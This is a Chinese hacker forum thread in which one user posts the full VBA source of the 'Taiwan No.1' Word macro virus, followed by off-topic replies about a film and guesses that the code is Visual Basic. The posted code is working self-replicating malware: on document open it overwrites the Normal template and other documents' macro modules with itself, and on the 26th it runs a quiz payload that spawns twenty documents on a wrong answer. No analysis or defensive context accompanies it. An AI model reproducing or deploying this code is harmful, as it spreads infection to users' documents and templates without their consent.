台湾一号

 
693 8
jiusui实名认证 2023-2-2 11:00:27 | 显示全部楼层 |阅读模式
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
    Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
    .DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
    If ThisDocument = NormalTemplate Then
        .ReplaceLine 3, "Sub Document_Open()"
        ActiveDocument.SaveAs ActiveDocument.FullName
    End If
End If
End With
Count = 0
If Day(Now()) = 26 Then
try:
        On Error GoTo try
        test = -1
        con = 1
        tog$ = ""
        i = 0
        While test = -1
            For i = 0 To 4
                nm(i) = Int(Rnd() * 10)
                con = con * nm(i)
                If i = 4 Then
                    tog$ = tog$ + Str$(nm(4)) + "=?"
                    GoTo beg
                End If
                tog$ = tog$ + Str$(nm(i)) + "*"
            Next i
beg:
        Beep
        ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
        If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
            Documents.Add
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Beep
            With Selection.Font
                .Name = "细明体"
                .Size = 16
                .Bold = 1
                .Underline = 1
            End With
            Selection.InsertAfter Text:="何谓宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案:"
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="我就是......"
            Selection.InsertParagraphAfter
            Selection.InsertParagraphAfter
            Selection.Font.Italic = 0
            Beep
            Selection.InsertAfter Text:="如何预防宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案:"
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="不要看我......"
            GoTo out
            Else
                Count = Count + 1
                For j = 1 To 20
                    Beep
                    Documents.Add
                Next j
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Selection.InsertAfter Text:="宏病毒"
            If Count = 2 Then GoTo out
            GoTo try
        End If
Wend
End If
out:
End Sub
小铭 2023-2-3 09:16:47 来自手机 | 显示全部楼层
看完小破球2以后,我的精神状态:台湾一号????台湾一号行星发动机,点火!
:)

点评

详情 回复 发表于 2023-2-18 15:02
H.U.C.-鳌 2023-2-6 09:15:15 | 显示全部楼层
小铭 发表于 2023-2-3 09:16
看完小破球2以后,我的精神状态:台湾一号????台湾一号行星发动机,点火!
:)

没钱,没去看。。。。好遗憾
小铭 发表于 2023-2-3 09:16
看完小破球2以后,我的精神状态:台湾一号????台湾一号行星发动机,点火!
:)

6
开朗的盟员 2023-3-26 15:53:24 | 显示全部楼层

貌似是VB
浮云实名认证 2023-4-4 22:42:42 | 显示全部楼层

不知道诶,没接触过vb,不过可以在visual studio code上试试,看看是否是vb

点评

那上面应该支持VB集成的  详情 回复 发表于 2023-4-5 08:34
开朗的盟员 2023-4-5 08:34:06 | 显示全部楼层
浮云 发表于 2023-4-4 22:42
不知道诶,没接触过vb,不过可以在visual studio code上试试,看看是否是vb

那上面应该支持VB集成的
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

jiusui

特级红客

关注
  • 10
    主题
  • 2
    粉丝
  • 2
    关注
维护祖国网络,吾辈定当义不容辞

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行